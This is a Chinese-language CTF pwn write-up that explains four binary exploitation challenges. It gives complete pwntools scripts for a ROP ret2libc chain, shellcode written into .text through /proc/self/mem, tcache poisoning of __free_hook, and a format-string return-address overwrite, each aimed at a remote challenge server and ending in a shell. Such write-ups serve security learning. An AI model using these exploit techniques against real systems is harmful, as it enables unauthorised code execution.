Loading... ### rop_primary 没什么难度,就是单纯的 ROP ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * import re elf = ELF("./rop_primary") pop_rdi_ret = 0x401613 pop_rsi_r15_ret = 0x401611 pop_r14_r15_ret = 0x401610 def matrixMul(A, B): if len(A[0]) == len(B): res = [[0] * len(B[0]) for i in range(len(A))] for i in range(len(A)): for j in range(len(B[0])): for k in range(len(B)): res[i][j] += int(A[i][k]) * int(B[k][j]) return res sh = remote("159.75.104.107",30372) sh.recvuntil("A:\n") matA = [] matB = [] while 1: number_string = sh.recvuntil("\n",drop = True) if(number_string == 'B:'): break matA.append(re.findall(r"\d+\.?\d*",number_string)) while 1: number_string = sh.recvuntil("\n",drop = True) if(number_string == 'a * b = ?'): break matB.append(re.findall(r"\d+\.?\d*",number_string)) matAns = matrixMul(matA,matB) print matAns for i in matAns: for j in i: sh.sendline(str(j)) sh.recvuntil("best\n") payload = 'a' * 0x30 + 'b' * 8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols["puts"]) + p64(0x40157B) sh.sendline(payload) leak_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success("addr:" + hex(leak_addr)) libc = LibcSearcher('puts',leak_addr) libc_base = leak_addr - libc.dump("puts") log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload = 'a' * 0x30 + 'b' * 8 + p64(pop_r14_r15_ret) + p64(0) * 2 payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) sh.sendlineafter('best\n',payload) sh.interactive() ``` 写完exp打远程的时候发现搜不出来 libc,考虑是 libc-database 版本过低,然后尝试更新,但是 libc-database 本身是装 LibcSearcher 的时候一起装的,可能安装的时候有点问题,get 脚本用不来,所以只好整个 libc-database 删掉重装,重新 get,家里的带宽确实比较小,整个更新大概花了半个多小时,再加上更新的时候干别的事情去了差点把这题忘了,所以很晚才打通,但是运气还算不错,抢到了一血,只比二血早了30秒 ### the_shop_of_cosmos 这道题是真的开阔视野了,出的是真当炫酷。程序的逻辑很简单,有无限次读文件和无限次写文件的机会。其实看到题目我第一个就想到了对 `/proc` 目录动手,但是当时觉得不知道服务器跑的进程的 `uid` 也没有用。虽然终端里面有 `$UID` 可以代替,但是 `open` 里没法用,遂放弃,想想真的很遗憾,放出 `hint`之后我仔细看了一下这个目录的相关知识,了解到有`self` 这个目录,每个进程访问都可以访问到自己的对应 `uid` 的目录,同时也避免了 `frok` 之类操作对 `uid` 的改变这样的问题。而每个进程对应 `uid` 目录中都有一些该进程信息的虚拟文件,我们主要关系 `maps` 和 `mem`,前者存储了进程的内存映射情况,可以获得各种基地址;后者则是进程占有的整个内存空间的映射,这个文件是可读写的,`.text` 也同样可写。所以思路就有了,先通过一次读获取进程的基地址,然后通过一次写把一段会执行的 `.text` 中的代码直接写成 shellcode 就可以 getshell 了。 利用整型溢出可以获得无限的钱,这个应该不用多说了 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'amd64',os = 'linux') elf = ELF("./shop") libc = ELF("./libc.so.6") sh = process("./shop") sh = remote("159.75.104.107",30398) sh.sendlineafter(">> ","1") sh.sendlineafter(">> ","4294867296") sh.sendlineafter(">> ",'2') sh.sendlineafter(">> ",'1') sh.sendlineafter(">> ",'/proc/self/maps') sh.recvuntil(":") prog_base = int(sh.recvuntil("-",drop = True),base = 16) log.success("prog_base:",prog_base) sh.sendlineafter(">> ",'3') sh.sendlineafter(">> ",'1') sh.sendlineafter(">> ",'/proc/self/mem') sh.sendlineafter(">> ",str(prog_base + 0x17EC)) shellcode = asm(shellcraft.sh()) sh.sendlineafter(">> ",str(len(shellcode))) sh.sendlineafter(">> ",shellcode) sh.interactive() ``` ### patriot’s note 这算是一个 `Tcache poisoning` 的裸题了吧,以前做题的时候一直没去研究 `Tcache` 相关的机制,这一次看了一下发现确实使利用变的简单了许多。`Tcache` 的优先级很高,高于 `Fastbin` 和 `top chunk` 的前向合并。 `Tcache` 和 `Fastbin` 其实挺像的,当然 `Tcache` 本身是一个单独维护的隔离链表,而 `Fastbin` 只是一个 LIFO 的单链表(换句话说就是用链表模拟的栈),这里来看的话区别还是很大的,但是在利用上有相似之处。就本题来看,存在 `UAF` ,可以对 `Tcache` 结构体的 `next` 指针任意写,这样就可以实现任意地址分配,从而实现任意地址写。和 `Fastbin` 的 `Arbitrary Alloc` 没什么区别,唯一的就是 `Tcache` 不会对被分配地址 `chunk` 的 `size` 标记做检测,所以我们甚至不需要伪造 `size` 就可以直接 `Arbitrary Alloc` 了。当然实现利用还需要一个 leak,可以申请并释放一个属于 `Unsorted Bin` 的 `chunk`(就本题而言,还需要避免这个 `chunk` 被 `top chunk` 合并掉),这样在 `bin`中的`chunk`的`fd`指针就会指向`main_arena`的一个固定偏移处,然后通过`puts` 功能就可以 leak 出 libc 的基地址了。 #### 关于 `main_arena` ##### `fd` 指向 `main_arena` 的固定偏移处的原因 随随便便地说 `fd` 必定会指向 `main_arena` 的一个固定偏移显得很苍白,原因还是解释一下,`main_arena` 是 `ptmalloc` 管理主分配区的唯一实例,其类型为 `struct malloc_state`,就 2.27 版本的 libc 来说是这样定义的 ```cpp struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; ``` 这里面的 `bins` 数组就保存了 `Unsorted Bin` 的头节点,由于 `Unsorted Bin` 用(循环)双向链表维护,那么链表中尾节点的 `fd` 就会指向头节点,也就是结构体的固定偏移处了(事实上 `bins[0]` 和 `bins[1]` 就是`Unsorted Bin`的头节点),本题我们只往`Unsorted Bin`中放一个`bin`,所以第这个 `bin` 就是尾节点了。事实上还是有必要多啰嗦几句,`fd` 指向下一个节点,`bk`指向前一个节点,如果`Unsorted Bin`链表中不止一个`bin`的话第一个`bin`的`fd`是不会像本题一样指向`main_arena`的,但是`bk`仍然可以 leak,在 64 位机下由于地址高2字节为`\x00`的原因往往难以 leak 出`bk`,但是 32 位机下往往是可以的。也就是说一些情况下不一定需要 leak 链表尾,头也是可以的。 附一张调试图 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3076927169.png "></div> 这样应该就很清楚了 ##### 如何获得 `main_arena` 的偏移 固定偏移具体是多少可以很容易地通过调试得出,也可以自己算,而 `main_arena` 相对于基地址的偏移稍微麻烦一点。把题目提供的 libc 放到 IDA 里面,找到 `malloc_trim()` 函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2603976079.png "></div> `dword_3EBC40` 就是 `main_arena` 了。当然这样说他是就是显得很不负责任,凭啥说他是呢?还是要看一下 `malloc.c` 中的源码 ```cpp int __malloc_trim (size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init (); mstate ar_ptr = &main_arena;//<=here! do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; } ``` 两个对照一下就明白了。按说 `main_arena` 在很多函数里面肯定都出现了,为什么独独找这个函数呢?我也不知道。大家都用这个找就这个吧。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * #sh = process("./note") sh = remote("159.75.104.107",30369) libc = ELF("./libc-2.27.so") def take(size): sh.sendlineafter("exit\n",'1') sh.sendlineafter("write?\n",str(size)) def delete(index): sh.sendlineafter("exit\n",'2') sh.sendlineafter("delete?\n",str(index)) def edit(payload,index): sh.sendlineafter("exit\n",'3') sh.sendlineafter("edit?\n",str(index)) sh.send(payload) def show(index): sh.sendlineafter("exit\n",'4') sh.sendlineafter("show?\n",str(index)) take(2048)#index:0 take(0x100)#index:1 delete(0) show(0) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96 log.success("libc_base:" + hex(libc_base)) delete(1) #malloc_hook = libc_base + libc.symbols["__malloc_hook"] free_hook = libc_base + libc.symbols["__free_hook"] #log.success("malloc_hook:" + hex(malloc_hook)) #edit(p64(malloc_hook - 0x10),1) edit(p64(free_hook),1) take(0x100)#index:2 take(0x100)#index:3 one_gadget = libc_base + 0x4f432 realloc = libc_base + libc.symbols["__libc_realloc"] #payload = p64(one_gadget) + p64(realloc + 0xa) payload = p64(one_gadget) edit(payload,3) #take(0x200) delete(0) sh.interactive() ``` 写 `malloc_hook` 的时候发现 `one_gadget` 都不能用,就改成 `free_hook` 了。 ### killerqueen 逻辑挺简单的,有两次格式化字符串攻击的机会,我选择第一次 leak,第二次改返回地址为 `one_gadget` getshell。其实刚开始的时候我是考虑通过格式占位符 `%200000c` 让 `printf` 输出大量字符,这样他就会调用 `malloc()`,那么就只有修改 `__malloc_hook` 或 `__free_hook` 为 `one_gadget` 就可以 `getshell` 了。但是由于 `one_gadget` 的限制不可行,就只好改返回地址了。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * #context(log_level = 'debug',os = 'linux',arch = 'amd64') context.terminal = ['tmux','splitw','-h'] for i in range(0x70,0x79):#0x10a41c -> i==0x70;0x4f432 -> i==0x48 try: #sh = process('./kq') sh = remote("159.75.104.107",30339) sh.sendlineafter("电话\n",'0') rand = int(sh.recvuntil(":",drop = True),base = 10) sh.sendlineafter("什么\n",'a') sh.send('\n') sh.sendlineafter("\n",str(-rand - 2)) payload = '%19$p-%17$p-%24$p-%44$p' sh.sendlineafter("是——\n",payload) sh.recvuntil('...\n') _IO_2_1_stdout_addr = int(sh.recvuntil("-",drop = True),base = 16) _IO_file_write_addr = int(sh.recvuntil("-",drop = True),base = 16) - 45 prog_base = int(sh.recvuntil("-",drop = True),base = 16) - 0x10b8 stack_addr = int(sh.recvuntil("\n",drop = True),base = 16) ret_addr = stack_addr - 0x28 - 0xE0 log.success('_IO_2_1_stdout_:' + hex(_IO_2_1_stdout_addr)) log.success('ret_addr:' + hex(ret_addr)) libc = LibcSearcher("_IO_2_1_stdout_",_IO_2_1_stdout_addr) libc.add_condition("_IO_file_write",_IO_file_write_addr) libc_base = _IO_2_1_stdout_addr - libc.dump("_IO_2_1_stdout_") log.success('libc_base:' + hex(libc_base)) log.success('_IO_file_write_addr:' + hex(_IO_file_write_addr)) log.success('_IO_file_write_addr_calc:' + hex(libc_base + libc.dump('_IO_file_write'))) malloc_hook = libc_base + libc.dump("__malloc_hook") one_gadget = libc_base + 0x10a41c #one_gadget = prog_base + 0x910 log.success('one:' + hex(one_gadget)) #payload = fmtstr_payload(6,{malloc_hook:one_gadget},numbwritten = 0,write_size = 'short') target_info = [[one_gadget & 0xFFFF,0],[(one_gadget >> 16) & 0xFFFF,2],[(one_gadget >> 32) & 0xFFFF,4]] target_info = sorted(target_info,key = (lambda x:x[0])) print target_info payload = '%15$lln' payload += '%' + str(target_info[0][0]) + 'c' + '%12$hn' payload += '%' + str(target_info[1][0] - target_info[0][0]) + 'c' + '%13$hn' payload += '%' + str(target_info[2][0] - target_info[1][0]) + 'c' + '%14$hn' payload = payload.ljust(48,'a') payload += p64(ret_addr + target_info[0][1]) payload += p64(ret_addr + target_info[1][1]) payload += p64(ret_addr + target_info[2][1]) payload += p64(ret_addr + i) payload = payload.ljust(0x100,'\x00') print payload #payload += '%150000cok' sh.sendafter("什么\n",payload) sh.recvuntil("a") log.success('one:' + hex(one_gadget)) #gdb.attach(proc.pidof(sh)[0]) sh.sendline("") sh.sendline("echo 'pwned'") sh.recvuntil("pwned") sh.interactive() break except: sh.close() ``` 麻烦还是有点麻烦的,调了不少时间。 最后修改:2021 年 02 月 22 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧